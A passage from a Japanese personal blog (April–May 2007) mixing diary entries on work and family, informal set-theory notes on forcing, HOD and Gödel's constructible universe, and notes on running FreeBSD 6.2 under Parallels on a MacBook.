というわけで CF の作り方を再検討です。LILO は成功してブートの途中までは進行しているので、fdisk は問題なく、ファイルのフォーマットが問題なのかも知れません。フォーマットは ext2 タイプで割と新しい Linux マシンで行ったものです。試しに古いヴァージョンの Linux マシンでフォーマットしました。その後新しいヴァージョンの Linux マシンで初期イメージファイルを tar で書き込み (いくらなんでも tar で問題は生じないでしょう)、再度実験しました。するとこんどは fsck は問題なく通過しましたが init が存在しないというメッセージが出て、途中で止まります。
ちゃんと起動するマシンのスレーブに刺してマウントすると、あれま、ファイルシステムが壊れています。ls で見た感じくらいだと大丈夫なのですが、中身がぐちゃぐちゃ。例えば /bin/sh なんかも起動できません。
もしかして tar が悪い？そんなばかな。そうは言うもののこの期に及んでは、「理論的に」などとほざいている余裕はありません。古いマシンで tar 書き込みを行いました。これで起動しなかったらまじアウトです。私は基本的に無神論者だと思っていますが、ほんと「神様～起動して下さい」と祈りました。日和見主義です。
で、とにかくちゃんと起動して問題なく動作が始まりました。
いやはや上の作業時間は放心状態の一時間を含めて、四時間程度なのですが、精魂尽き果てました。疲れた～。
(教訓) 数学の世界ではともかく、物理世界、とくにコンピューターの機材選定で「理論的には大丈夫なはず」は通用しない。というか何度も失敗してるのですが、学習しませんなあ (愚)。
(追記) というわけで色々やること多く、明日もあさっても仕事です。こんな状態が三ヶ月以上続きます。あっ、でも体はきついのですが、割と躁状態です。仕事の内容は社会的に有用なものなので、とても充実感がありますから。
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2007年5月15(火)

もうだめ
昨日おうちに入ろうとして、マンションの玄関に PASMO かざした。三秒くらい気がつかなかった。もうだめ(^^。
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2007年5月14(月)

越後屋
生まれてからずっと思い違いしていた。
ふぉふぉふぉっ、越後屋、おぬしもわるのよう。
は間違い。
ふぉふぉふぉっ、越後屋、おぬしもわるよのう。
が正しいらしい。んっ、どっちだかまた分からなくなってきた (笑)。
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2007年5月12(土)

近況報告
今日も仕事してます。
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2007年5月8(火)

結局コーエン実数
集合論雑記目次
Fuさんの別場所での記事がヒントになった、というか教えて頂いた感じですが、要するに 2007年5月3日の記事、整列不可能な実数列で現れた $\mathbb{P}=\mathcal{F}(\omega~\times~\omega,~2)~\in~M~$ の Generic $G~$ における強制拡大 $M[G]~$ 上での列 $a_i~=~\{~n\in\omega\,:\,~\exists{p~\in~G}(p(i,n)=1)\}~$ って $f=\bigcup{G}~:~\,\omega\times\omega~\rightarrow~2~$ の第一成分をパラメーターとして $f_i:\,\omega~\rightarrow~2~\quad~(i\in\omega)~$ と考えたものと同じなのですね。実際 $M[G]~$ で
$f(i,n)=1~\leftrightarrow~\langle~(i,n),1~\rangle~\in~\bigcup{G}~~\leftrightarrow~\exists{p\in{G}}(\langle~(i,n),1~\rangle~\in~p)~~\leftrightarrow~\exists{p\in{G}}(p(i,n)=1)~$
どうしてこんなことに気がつかなかったのだろう。そう考えるとたしかに前の記事での $A~$ 上の整列順序が定義不可能なのは当然な感じもします。そもそも定義可能だったらGeneric にならないでしょう。で Fu さんの議論は $\mathbb{P}=\mathcal{F}(\lambda~\times~\omega,~2)~\in~M~\quad~~~(\omega\le{\lambda})~$ から同様に $f_\alpha~\quad~(\alpha<\lambda)~$ を作り、そこから任意可算個選んでも同様な事実がなりたつということでしょうか。そこんところがいまいち。なんというか上の $f_i~$ は元のモデル上区別がつきにくい割には、独立性もある感じがするので、「定義可能独立集合」とかいう概念を上手に定義できないのだろうか。例えば $A=\{f_0,~f_0~+~1,~f_0+2,\cdots\}~$ などは明らかに $\mathrm{HOD(A)}~$ 整列可能で、これはなんらかの従属性を持ってる感じがするので。
(関連リンク) Fuさんのとこの「選択公理は証明できない」
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2007年5月6(日)

連休最終日
今日は九連休の最終日です。例のごとく昼夜逆転生活となりました。連休前の目標としては、数学、仕事、自作サーバー更新がありましたが、おのおの達成率は下記の通り。

数学 10%

仕事 100%

自宅サーバー更新 0%

結局連休中の四日間は仕事してたという (涙)。こればかりは達成率100%でないとおこられますから。自宅サーバーの更新に関しては、最初からきっとだめだろうなとの予感はありましたが、誠に不幸なことに的中しました。ほんとは数学三昧の生活をしたかったのですが、なかなか仕事と両立するのは難しい面もあり、まあ選択公理に関して一つ記事を書いたので、ごかんべんのほどを。というわけで明日から会社ですが、前にも書いた通り、めずらしく本気モードにならないとまずい状況です。この日記の更新も滞る可能性がありますが、面白そうな話題があったら何か書こうとは思いますし、半年後には盛大に復帰する予定ですので、見捨てないで下さい(^^。
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2007年5月5(金)

怪奇選択公理男
いつも明言してますように、私は選択公理が大好きです。どうしてこんなに選択公理が好きなのだろう。いろいろ考えた末ようやくその理由が分かりました。
(ラッセルの言葉)
「無数の靴から、左足用の靴を集めてくるのは簡単だが、無数の靴下から、左足用の靴下を集めてくるのは難しい」

これですよ、これ！！
要するに二元集合の無限列 $X_\alpha~=~\{l_\alpha,~r_\alpha}\quad~(\alpha~<~\lambda)~$ の直積集合 $\mathrm{\Pi}_{\alpha~<~\lambda}{X_\alpha}~$ を考えた時 $l_\alpha~$ が左の靴だったら普通は左右の区別がつくので、例えば $(l_\alpha)_{\alpha~\in~\lambda}~$ を直積の要素として具体的に指名できるわけです。ところが靴下の場合、通常左右の区別がないので、選択公理なしでは $\mathrm{\Pi}_{\alpha~<~\lambda}{X_\alpha}~=~\emptyset~$ となる可能性もあるわけです。不自然だとは思いますが。
ところでこちらも常々書いているよう、私はとてもずぼらで杜撰な性格です。なのでよく靴下の片方が行方不明になるのです。さらにそれが積もり積もって、朝靴下をはこうかと思った時、全部違う種類のがひとつずつしか見つからない場合もあるのです。そんなときはどうするかと言いますと...
仕方ないので、似たような色のを二つ選んで左右にはいてゆく (笑)
どうせ靴はいてるのでばれはしません(^^。従って少なくとも私の靴下集合に関して、ラッセルの指摘は誤りです。靴下集合も左右識別可能なのです。
さらに靴集合に関しても、一般より強い選択公理が成立します。特に小さい子供なんかがそうですが、靴の左右は識別が難しい場合があります。ところがこのような事情もあり、私の左右の靴は非常に識別しやすいのです。従って、いまいち意味不明ではありますが、強い意味の選択公理が成立します。選択公理ばんざーい ← たんなるばかですな。
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2007年5月4(金)

新江ノ島水族館
さすがに連休中自宅にこもりっきりなのもあれなので、本日は奥さまと新江ノ島水族館に出かけました。楽しかったですよ。モカちゃんですか？「友達と遊びに行く」ということで振られました (笑)。

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2007年5月3(木)

整列不可能な実数列
集合論雑記目次
2007年4月24日の良くわからないの続きです。今日は Jech 本に記載されている整列不可能な実数列の「具体例」について記載します。内容は丸写しに近いのですがご容赦を。さらに「具体例」といっても、強制や $\mathrm{HOD}~$ (遺伝的に順序数定義可能な集合)の概念を使用するので、あんまり具体的ではないのでありますが。まず順序数定義可能集合 $\mathrm{OD}~$ の概略から。本日は直感的な定義と結果のみということで、正確な定義に関しては ( $L~$ と同様に)論理式のコード化が必要なので、 $L~$ について色々書いてから記載する予定です。まず $\mathrm{OD}~$ の直感的定義から。

(定義) すべての自由変数が表示された論理式 $\varphi(x_0,\cdots,x_{n})~$ と順序数 $\alpha_1,\cdots,\alpha_{n}~$ が存在し $\forall{x}(\varphi(x,\alpha_1,\cdots,\alpha_{n})\leftrightarrow~~x=a)~$ が成立するとき $a~$ を順序数定義可能 (ordinable definable) と呼ぶ。順序数定義可能な集合全体からなるクラスを $\mathrm{OD}~$ と記す。
$\mathrm{OD}~$ では対の公理、合併の公理、べき集合の公理等は成立しますが、推移的でないので外延性の公理が成立しない場合が多く、実際 $V=\mathrm{OD}~$ である場合を除いては、集合論のモデルとはなりません。ところがこれには上手な逃げ道があり、遺伝的に順序数定義可能なクラス $\mathrm{HOD}\subset~\mathrm{OD}~$ を定義することが可能です。
(定義) $\mathrm{HOD}~=~\{x~\in~\mathrm{OD}~\,:\.~\mathrm{TC}(x)\subset\mathrm{OD}\}~$
ここでは証明は書きませんが、 $\mathrm{HOD}~$ は $\mathrm{ZFC}~$ のモデルとなります。なお $\mathrm{TC}(x)~$ は $x~$ の推移的閉包を表すこととします。次の事実は簡単ですが便利です。
$x\in\mathrm{OD}~\wedge~x\subset\mathrm{HOD}~\rightarrow~x~\in~\mathrm{HOD}~$
もうすこし一般に、「原子」を追加した順序数定義集合の概念を考えることが可能です。
(定義) $A_1,\cdots,A_m~$ を集合とし順序数と $A_1,\cdots,A_m~$ から定義可能な集合全体のクラスを $\mathrm{OD}[A_1,\cdots,A_m]~$ と書く。即ち $a~$ が $\mathrm{OD}[A_1,\cdots,A_m]~$ の要素である条件は論理式 $\varphi(x_0,x_1,\cdots,x_n,y_1,\cdots,y_m)~$ と順序数 $\alpha_1,\cdots,\alpha_n~$ が存在し $\forall{x}(\varphi(x,\alpha_1,\cdots,\alpha_n,A_1,\cdots,A_m)~~\leftrightarrow~x=a)~$ が成り立つこと。
各 $A_i~$ の要素まで言及した定義可能性を考えることも可能です。
(定義) $A_1,\cdots,A_m~$ を集合とし順序数と $A_1,\cdots,A_m~$ とその要素から定義可能な集合全体のクラスを $\mathrm{OD}(A_1,\cdots,A_m)~$ と書く。即ち $a~$ が $\mathrm{OD}(A_1,\cdots,A_m)~$ の要素である条件は論理式 $\varphi(x_0,x_1,\cdots,x_n,y_1,\cdots,y_m,z_1,\cdots,z_m)~$ と順序数 $\alpha_1,\cdots,\alpha_n~$ さらに $1~\le~i~\le~m~$ に対し $A_i~$ の有限列 $s_i~$ が存在し $\forall{x}(\varphi(x,\alpha_1,\cdots,\alpha_n,A_1,\cdots,A_m,s_1,\cdots,s_m)~~\leftrightarrow~x=a)~$ が成り立つこと。
$\mathrm{HOD}[A_1,\cdots,A_m],~\mathrm{HOD}(A_1,\cdots,A_m)~$ も同容に定義されます。 $\mathrm{HOD}[A_1,\cdots,A_m]~$ は $\mathrm{ZFC}~$ のモデルとなりますが、 $\mathrm{HOD}(A_1,\cdots,A_m)~$ の方は $A_i\,~(1\le~i~\le~m)~$ に具体的な整列順序があたえられているとは限らないので、選択公理を満たすとは限りません。しかしながら $\mathrm{ZF}~$ のモデルにはなります。
後はうまいこと $A~$ を「作り」 $\mathrm{HOD}(A)~$ が選択公理を満たさないようにすれば良いのです。もっとはっきり言うと $\mathrm{HOD}(A)~$ で $A~$ は整列不可能であるようにするのです。ここからは強制の議論です。 $\mathrm{ZFC}~$ のモデル $M~$ を一つ固定します。強制条件として
$\mathbb{P}=\mathcal{F}(\omega~\times~\omega,~2)~\in~M~$
即ち $\omega~\times~\omega~$ の有限部分集合から $\{0,1\}~$ への関数全体の集合を考えます。順序は例のごとく $p\le{q}~\leftrightarrow~q\subset{p}~$ で与えます。 $G~$ を $M~$ 上 $\mathbb{P}~$ -Generic とし、 $M[G]~$ を強制拡大とします。 $M[G]~$ 上で次の列 (というか集合) を考えます。 $a_i~=~\{~n\in\omega\,:\,~\exists{p~\in~G}(p(i,n)=1)\}~$ そして $A~=~\{~a_i~\,:\,~i~\in~\omega\}~$ (名称に関しては追記参照のこと)。
$M[G]~$ で $\mathrm{HOD}(A)~$ を考えると、このクラスは選択公理を満たしません。これから証明するように $A~$ の要素を順序数を使って「区別する」のは難しいのです。まず簡単な補題から。
(補題) $a_i~$ の名称を $\dot{a}_i~$ とするとき、任意の $p~\in~\mathbb{P},\,~i\neq{j}~$ に対し $p||-\dot{a}_i~\neq~\dot{a}_j~$
(証明) 実際 $i\neq~j~$ とすると $\forall{p\in\mathbb{P}}\exist{q\le{p}}\exists{n\in\omega}(q(i,n)=1~~\wedge~q(j,n)=0)~$ が成立する。

今 $A~$ が $\mathrm{HOD}(A)\subset~M[G]~$ で整列可能であると仮定とすると、埋め込み $f:\,A~\rightarrow~\mathrm{On}~$ で $f~\in~\mathrm{OD}[A,s]~$ なるものが存在します。ここで $s=\langle~s_1,\cdots,s_m~\rangle~$ は $A~$ の要素の列です。 $f~$ を (間接的に) 使用すれば、任意の $a~\in~A~$ が $\mathrm{OD}[A,s]~$ の要素となります。特に $a~\in~A~$ として $s_1,\cdots,s_m~$ いずれとも異なるものを選ぶと、論理式 $\varphi(x_0,x_1,\cdots,x_n,y,z)~$ と順序数 $\alpha_1,\cdots,\alpha_n~$ が存在し
$M[G]|=\forall{x}(\varphi(x,\alpha_1,\cdots,\alpha_n,A,s)~~\leftrightarrow~x=a)~$
が成立します。ここで $p\in{G}~$ として
$p||-~\forall{x}(\varphi(x,\alpha_1,\cdots,\alpha_n,\dot{A},\dot{s})~~\leftrightarrow~x=\dot{a})~$
が成立するものをとります。ドット記号はおのおのの名称とします(*)。さらに $s=\langle~s_1,\cdots~s_m~\rangle~$ においておのおの $s_k\,(1~\le~k~\le~m)~$ は $A~$ の要素なので $q\le{p},\,q\in{G}~$ と $i,{j_1},\cdots,{j_m}~\in~\omega~$ が存在し
$q||-\dot{a}=\dot{a}_i~\wedge~\forall{1\le~k~\le~m}(\dot{s}_k~=~\dot{a}_{j_k})~$
が成り立ちます。ここから $G~$ を忘れた純粋な強制の議論となります。即ち $i\neq{j}~$ と $r\le{q}~$ で
$r||-~\varphi(\dot{a}_j,\alpha_1,\cdots,\alpha_n,\dot{A},\dot{s})~$
が成立するものの存在を示し、矛盾を導きます。 $j~\in~\omega~$ として $i,j_1,j_2,\cdots,j_m~$ と一致せず $\forall{n\in\omega}(~\langle~j,n~\rangle~~\notin~\mathrm{dom}(q))~$ を満たす最小のものとします。ここで $\omega~$ 上の $i,j~$ を交換する互換を考えます。これは自然に ( $p~\in~\mathbb{P}~$ の定義域の第一座標を置換することにより) $\mathbb{P}~$ の自己同型 $\pi:\,\mathbb{P}~\rightarrow~\mathbb{P}~$ を導きます。さらに $\pi~$ は $M^{\mathbb{P}}~$ 上の全単射を導きます。言語の濫用で同じ記号を使います。 $\pi:\,M^{\mathbb{P}}~\rightarrow~M^{\mathbb{P}}.~$
一般に $\mathbb{P}~$ の自己同型 $\pi~$ に対し次の事実は容易に分かります。
$p||-\varphi(\dot{x_1},\cdots,\dot{x_n})~\leftrightarrow~~\pi(p)||-\varphi(\pi(\dot{x_1}),\cdots,\pi(\dot{x_n}))~$
また今までの証明で現れた名称に関しては、次の事実が成立します。
$\pi(\dot{a}_i)~=~\dot{a}_j~$
$\pi(\dot{a}_j)~=~\dot{a}_i~$
$\pi(\dot{a}_k)~=~\dot{a}_k~\quad~(k\neq~{i},~\,~k\neq{j})~$
$\pi(\alpha_k)~=~\alpha_k~\quad~(1~\le~k~\le~n)~$
$\pi(\dot{A})~=~\dot{A}~$
$\pi(\dot{s})~=~\dot{s}~$
従って
$q||-~\varphi(\dot{a}_i,\alpha_1,...,\alpha_n,\dot{A},\dot{s})~$
$\pi(q)||-~\varphi(\dot{a}_j,\alpha_1,...,\alpha_n,\dot{A},\dot{s})~$
ところで $j~$ の選び方から $\forall{n~\in~\omega}(\langle~i,n~\rangle~\notin~\mathrm{dom}(\pi(q)))~$ が成立するので $q~$ と $\pi(q)~$ は compatible です。従って $r\le~{q},\,~r\le\pi(q)~$ が存在し ( $r=q~\cup~\pi(q)~$ でよい)
$r||-~\varphi(\dot{a}_i,\alpha_1,...,\alpha_n,\dot{A},\dot{s})~$
$r||-~\varphi(\dot{a}_j,\alpha_1,...,\alpha_n,\dot{A},\dot{s})~$
となり矛盾です。あんまり具体的じゃないや。
(結論) 上記 $\mathrm{HOD}(A)~$ は「ZF + 選択公理の否定」のモデルである。
(追記 *) 名称をきちんと書くと
$\dot{a}_i~=~\{\langle~\check{n},p~\rangle~\,:\,~n\in\omega~\wedge~p(i,n)=1\}~$
$\dot{A}~=~\{\langle~\dot{a}_i,1~\rangle~\,:\,i~\in~\omega\}~$
となります。というかこちらから議論を始めてもよさそう。たぶん。
(関連リンク) Fuさんのとこの「選択公理は証明できない」
(参考文献)
Kenneth Kunen 著 Set Theory (OD, HOD に関して)
Thomas J. Jech 著 Set Theory (整列不可能な実数列について)
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2007年4月29(日)

結局しごと
下の記事にも書きましたが、連休中は仕事に関していくつか頼まれごとがあり、自宅でぼちぼちと作業する必要があります。で、普段はうだうだと何もしないのですが、昨日はめずらしく調子がでました。何とお昼から朝の8時まで連続してプログラム書き (存外楽しかった) とドキュメント作成。連続20時間です。
で、これでおしまいだと良いのですが、実はもう一つやらなければいけないことがあります。うーん、これから頑張って仕上げてしまい、連休中盤戦以降優先順位が高いお楽しみに走ろうか。それとも仕事は一段落させ、ぎりぎりになってから？
余談ですが、たかたにさんとこの記事とコメントに悪のりして、四月限定でトップページを大改造しました。いかん、今日もぱくりねたになってしまった(^^。反省！！
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2007年4月27(金)

おやすみ
明日からお休みです。なんと夢の9連休。仕事が忙しいって？そうなのですが、連休後 4ヶ月間エネルギーを集中させるため、間の二日も休みとしました。なので実質たかたにさんとおんなじです。
記事の内容がほとんどおんなじなのはご容赦を(^^。

てことで TODOリスト。
1. 少しでも数学を進める。
2. おうちで仕事 (笑)
3. 自宅サーバーをFreeBSD-6.2へ更新。
優先順位は数字のとおり。多分期間中にほとんど家からでないのでのでバテバテになることはないと思います。
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2007年4月24(火)

良くわからない
ちょっと疑問に思ったこと。可算集合の定義として $\omega~$ と全単射の対応があることとします。 $X~$ が有限とは $n\in\omega~$ が存在して $X~$ から $n~$ への全単射が存在すること。無限集合は有限でない集合。そして選択公理の仮定の下で
任意の無限集合は可算部分集合を含む
が成立します。証明は簡単で無限集合を整列して、 $\omega~$ と同型な切片もしくは自分自身を考えれば良いです。
良くわからないのは選択公理なしでの可算集合を含まない無限集合の可能性。これはもちろん整列できないのですが、直感的にどういうものなのだろう？
(追記) P.Cohen の強制モデルの部分モデルで、整列不可能な~~自然数列~~ 実数の「外から見ると可算な具体例」が作れたはず。見直してみます。
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2007年4月21(土)

FreeBSD-6.2
おうちで FreeBSD-6.2 をインストールしました。とは言っても自宅サーバー X24 ではなく MacBook です。ちゃんとブートしました。これで MacOSX ともお別れです。FreeBSD マシン万歳！！というのはもちろん嘘で Parallels Desktop for Mac を使ってみたのです。ただし下の日記に書いたように、ただいま極度の金欠状態なので、お金は会社持ちです (笑)。ちょっと会社の仕事で FreeBSD を使うことになったので実験を口実に買ってもらったのです。というか、ほんとはおうちサーバー (未だ FreeBSD-4.X) 更新の練習目的なのですが。
インストールは簡単で、ISO イメージファイルを仮想 CDROM として認識させる機能があるので、FreeBSD のブート CDROM イメージをダウンロードしてそのままインストールすることが可能です。ほんとはちゃんと CDROM に焼いてブートさせようと思ったのですが、Mac で ISO イメージを生焼きする方法が良くわからず、いいかげんに操作したら
6.2-RELEASE-i386-disc1.iso という一つのファイルが出来てしまった (笑)
というのは内緒です。さらにまぬけなことに、この失敗で手持ちの CDROM がなくなり、仕方がないので真面目に仮想 CDROM のドキュメントを読んだのでした。
それはそうと、最初仮想ディスクは 2G もあれば十分だろうと思い、固定的に領域 (通常ファイルですが) を確保したのですが、なんと OS + ソースで 1.5G 位使ってしまい、通常の処理は NFS でホストの領域をマウントするのでそれほど余っている必要はないのですが、いくらなんでも余裕なさ過ぎです。というか、いつの間にか FreeBSD も随分肥大化してますなあ。仕方がないので動的に拡張可能なオプションで、ゲストOS (FreeBSD) からは 8G のディスクに見えるよう設定し直しました。
(仮想 CDROM の設定)
これは簡単にできるのですが、その後 OS のインストールメニューを呼び出すとリセットされてしまい、本物の CDROM 装置を見にいってしまいます。何度かはまったのですが、単に「電源を入れる操作」を行えば良いのです。
(インストール)
全く問題なく行うことが可能でした。久々にインストールしましたが、 FreeBSD のインストールメニューは簡潔で分かりやすくなかなか良いです。一般に出回っている Linux とは大違いです。
(ネットワーク)
MacOSX 本体に二つの仮想ネットワークデヴァイスが作られます。
```
en2: flags=8963 mtu 1500
        inet6 fe80::201:23ff:fe45:6789%en2 prefixlen 64 scopeid 0x8 
        inet 10.37.129.2 netmask 0xffffff00 broadcast 10.37.129.255
        ether 00:01:23:45:67:89 
        media: autoselect status: active
        supported media: autoselect
en3: flags=8963 mtu 1500
        inet6 fe80::210:32ff:fe54:7698%en3 prefixlen 64 scopeid 0x9 
        inet 10.211.55.2 netmask 0xffffff00 broadcast 10.211.55.255
        ether 00:10:32:54:76:98 
        media: autoselect status: active
        supported media: autoselect
```
en2 がホストオンリー用で、en3 が NAT 用だそうです。今回は FreeBSD 側に en3 のネットワークに属するアドレスを設定し、デフォルトの経路を en3 のアドレスにすれば良さそうです。実際、FreeBSD 側で 10.211.55.4 というアドレスを設定したところ、MacOSX 側にping は通るようになったのです。ところが名前解決以前にどうしても外へ出ることが出来ません。生のアドレスを入力してもだめなのです。いくらやってもらちがあかないので、仕方なく DHCP でアドレスを取得したところ、なんと defaultroute が 10.211.55.1 になってました。DNS も同様です。MacOSX 自体が DNS のプロキシーになるのはなかなか便利です。というわけでこの設定を手作業で記述したところ、すべて問題なく動作するようになりました。
(コンソール)
こんな感じのスクリーンショットになります。コンソールの上の方に freebsd5x と書いてありますが、こちらは Parallels の設定メニューで、インストールする OS として FreeBSD-6.X の選択肢がなく、いいかげんに設定したものです。コンソールをアクティブにするとマウスの制御がFreeBSD 側に移行するので、option+contorol を押さないと画面の外に出られなくなります。なので操作性は余りよくありません。 FreeBSD 側でマウスを禁止してもだめです。Parallels の方にマウスデヴァイス自体を禁止するオプションがあれば良いのでしょうが、こちらは設定できないようです。実際にはほとんどすべての作業を Terminal.app から ssh で入り行うので、これ自体は特に大きな問題ではありません。X は一応起動しますが、X 関連のアプリケーションを使いたい場合、MacOSX 側のX サーバーを使用すれば良いので必要ありません。
(NFS)
MacOSX 側の設定は /etc/exports を記述すれば通常の BSD と同じように動作するようです。従って FreeBSD 側から実質好きな量のディスクを使用することが可能となります。
(性能)
ほとんど CPU の能力そのままの性能が出ます。もちろん仮想ディスクを使用しているので、ディスクアクセスに関してはそれほど速くはないのですが、実用上は十分です。ところが FreeBSD で vmstat コマンドを実行すると次の通り。
```
freebsd$ vmstat 3
 procs      memory      page                   disk   faults      cpu
 r b w     avm    fre  flt  re  pi  po  fr  sr ad0   in   sy  cs us sy id
 1 0 0   19716 230032    9   0   0   0   7   0   0 1360   20 512  0 14 86
 0 0 0   19716 230032    1   0   0   0   0   0   0 1357   38 499  0 14 86
 ...
```
あれま！一秒に割り込みが 1300回も入ってますよ。それが原因らしくなんにもしてないのに 14 パーセントもシステム時間を費やしています。
```
$ dmesg
...
Timecounter "TSC" frequency 1993347096 Hz quality 800
Timecounters tick every 1.000 msec
...
```
なんと最近のハードウエアーは一秒に 1000回もタイマー割り込みを入れるのですか。どうも FreeBSD のタイマー割り込みのオーバーヘッドが存外大きく、無駄に CPU を消費してるようです。割り込み回数を 100回とかに減らせれば良いのですが、こちらも設定は出来ないようです。さらに MacOSX 側では Parallels が 10% 程度の CPU を常時消費します。もちろんほとんどが FreeBSD がタイマー割り込みで消費している時間です。また FreeBSD のユーザープロセス消費時間は Parallels を通じて MacOS 側からはシステム消費時間に見えるようです。
というわけで、昨日から FreeBSD の設定 (make world 系とか) に時間を費やしてしまったのですが、いやはや、やはり 4.X 系列とは大分雰囲気が違い、システム関連の方はちょっと慣れるまで大変でした。これで近々自宅サーバーも最新の FreeBSD に移行できるとよいのですが、なんせ設定が多く、色々実験を行う必要もあり、いつになるかは不明です。いや、そうじゃなくって仕事のために買ってもらったのです。しごと (笑)。
余談ですが、余り好きではないが仕事では大切な Linux の開発環境もないよりは良いかなと考えています。ただし私物 PC に Linux をインストールするなど存外なので、この FreeBSD の中で Linux エミュレーターを動作させることを考えているのは絶対に内緒なのです。
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2007年4月18(水)

しごとじゃしごと
苦手な数値計算大体完了。仕事では初めてかな。いやはやなかなか微妙なところで合わないもので。ただし、だんだん答えらしきものがでてくると楽しくなってくる面もあります。途中経過をグラフに書いてみたり、デバッグ情報を出力したり、もうすぐ感がでてくると気分が高揚します。
該当の部分 (数値計算) に関し、コードの量の 95% 程度は書いたと思うのですが、桁落ちや、最悪オーバーフロー、アンダーフロー等を考えると、例外的な事象に対し頑強性を持たせる必要があり、実際はまだまだです。
さらにシステム全体の構築と顧客さまとの打ち合わせ、それに対するアプリケーションのコード、ハードウエアー近傍のコード (含むデヴァイスドライバー)、まだまだ別件の数値計算。いやはや切りがないこと。しかも組み込みなので絶対に落ちてはいけないという。あははっ。
難しいことは出来ないのですが、一通り何でも屋さんで、うかつな性格の割には、数学とおんなじでプログラムの肝心な部分は情熱を持って書くこともあり、今までは本番で致命的なバグを出さかったのががいけないのでしょうか。いずれにしても、それだけ信頼してくれるのですから、体の方に注意して奇麗に完成させなければ。というかよほど私が病弱に見えるのか、「かがみさん体だけは注意して下さいね」と皆に言われてます。実はちょっと調子が悪いと大騒ぎしたり、すぐにさぼるだけなのですが(^^。
数学はばぐだらけというつっこみはご勘弁を (笑)
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2007年4月17(火)

借金
今月になって長女と二女の授業料納付の書類が来ました。合計 240万円です (笑)。いや、笑いごっちゃないですよ、ほんと。というわけでとても払いきれないので、銀行に借金しに行ってきました。百万ちょっとを十年返済です。借金の名義は私で、一応卒業後子供が払うことになっていはいるのですが、はてさてちゃんと払うこと出来るかな？そもそも審査通るのだろうか。払った分ちゃんと勉強をしていれば良いのですが、二人とも全然勉強しないし。私の感覚としては、勉強しないならば大学なんて行かなくても良いと思うのですが、なかなかそうもいかないようで。というか大学の数って今の十分の一くらいで良いと思うのですが、奥さまが言うには、私の「大学とは学問を行う場所」という考えが古いそうです。長女も二女もほんと出来の悪い大学ですが、歴史があるのとキャンパスが広いあたりで入れそうなところを選んだという事情があります。親としてはキャンパスが狭いのと単科の大学は、視野が狭くなる可能性があるので却下です。
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2007年4月15(日)

今年の予定
実を言いますと本年度はとんでもない量の仕事が待っています。で、先週おおざっぱに工程を考えたのですが、非常にまずいことに気がつきました。

毎週土曜日、夏頃になったら日曜日もも出勤しないと絶対に間に合わない (笑)

あれま！これはきつそうです。というわけで五月の連休以降基本的に週六日勤務となります。ただし仕事より片道二時間以上の通勤の方がきついので、偉い人と交渉して金曜日の晩は会社の近くのホテル住まいということになりました。ほんとは今からでも毎週土曜日働いた方が良いのですが、まあ連休前までは普通のペースで、というのは例のごとくぎりぎりにならないと本気を出さない悪い癖かも知れません。
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2007年4月14(土)

ゲーデルの L (一回目)
集合論雑記目次
しばらく集合論雑記を更新していませんでしたが、当分の間 $L~$ についての基本的な事柄を記載したいと思います。具体的には $V=L~$ (これは ZFC と整合的) を仮定することにより「選択公理」と「一般連続体仮説」が成立することの証明の概要を記載したいと考えています。私は証明を知らないのですが、一般に一般連続体仮説から選択公理が導かれるそうです。ただし、 $L~$ での選択関数は大域的かつ具体的に与えられるのが特徴で、これにより $V=L~$ や $V\neq{L}~$ で証明可能性が影響されない論理式 (これは初等的とは限りませんが) に対し選択公理を使用した証明は、原理的に選択公理なしで証明することが可能となります。
今日は最初ということで、 $L~$ の直感的な定義と基本的な事実を結果のみ述べることとします。 $M~$ を集合とし $\varphi(v_0,v_1,\cdots,v_n)~$ を集合論の言語に属する論理式とします。このとき $p_1,\cdots,~p_n~$ を $M~$ の要素とし
$\{x\in{M}\,:\,~M|=\varphi(x,p_1,\cdots,p_n)\}~$
の形の集合を $M~$ 上構成的な集合と呼びます。そして $M~$ 上構成的な集合全体の集合を
$\mathrm{Def}(M)~$
と書きます。さて $L~$ の直感的な定義ですが
$L_0=\emptyset~$
$L_{\alpha+1}~=~\mathrm{Def}(L_\alpha)~$
$L_{\alpha}~=~\bigcup_{\xi<\alpha}{L_\xi}\quad~(\lim(\alpha))~$
そして
$L=\bigcup_{\alpha\in~\mathrm{On}}~{L_\alpha}~$
ここで $\mathrm{On}~$ は順序数全体からなるクラスです。次の事実は容易に分かります。
$(1.1)\,L_\alpha~\subset~V_\alpha~$

$(1.3)\,~L_\alpha~$ は推移的
$(1.4)\,~\alpha~\subset~L_\alpha,\,\alpha~\in~L_{\alpha+1}~$

さらに次の事実が成り立ちます。
$(1.5)\,~L|=~\mathrm{ZF}~$
$(1.6)\,~L~$ で選択公理が成り立つ。即ち $L|=\mathrm{ZFC}~$
$(1.7)~\,L~$ で一般連続体仮説が成り立つ。即ち $L|=\mathrm{GCH}~$
$(1.8)\,L~$ は最小の集合論の内部モデルである。即ち $M~$ を集合論の内部モデルとするとき $L\subset{M}.~$ さらに $L^M~=~L.~$ 特に $L~|=~(V=L)~$

ところで、上の方に「直感的な定義」と記載しましたが、論理式の充足関係を使用しているため、個別の具体的な論理式と具体的なパラメーターに関し、構成的な集合を定義できないことはないのですが、そのままでは構成的集合全体をZF内部で語ることができません。これを回避する方法はいくつかあるのですが、一番素直な方法は「論理式と充足関係をコード化する」方法であると思われます。
そこで次回からはコード化に関して、ある程度の方向を記載し、特に充足関係が非常に弱い理論内で正しい解釈のコード化可能である事実を述べたいと思います。弱い理論が必要なのはコード化の解釈を $L_\alpha~$ 等に相対化しても成り立つと便利な場合が多いからです。
余談ですが Devlin本やっと二章まで読み終えました。時間かかりました。ただしまだあいまいな点があるので、もう一度読み直した方が良いかも。というか集合論雑記を書くことにより復習するのがねらいです。本当は一時全然だめだったのですが、眼鏡かえてから大分調子が出てきました。
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2007年4月13(金)

はじめての 1600x1200 ディスプレイ
目がよく見えるようになり、PC上のちっちゃい文字も快適に読めるので、会社の偉い人にお願いして、解像度 1600x1200 のディスプレイを買ってもらいました。で、こういう場合、お願いすればもっと高いのを買ってもらえると思うのですが、けちくさ根性が出てまい、その辺りで何人かが使っている DELL 2007FP を注文しました。お値段は五万円弱です。注文は DELL の場合 Mac では不可能なので、他の人のところで (笑)。今、MacaBook のデュアルディスプレイのサブとして使用していますが、画面を広く使うことができなかなか便利です。ただし残念なことに

あんまり画質よくありません

いやはや他の人のところで Windows の画面を見たときは、そこそこ良いかなと思ったのですが、MacBook に繋ぐと本体と比較しての落差が大きいのです。特に文字が薄すぎ。会社ではウインドウを 20個くらい平気で開くので、それなり作業効率は上昇すると思うのですが、いやはやせめて 10万円位のにすれば良かったか。失敗失敗(^^。
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2007年4月12(木)

エレガントな説明
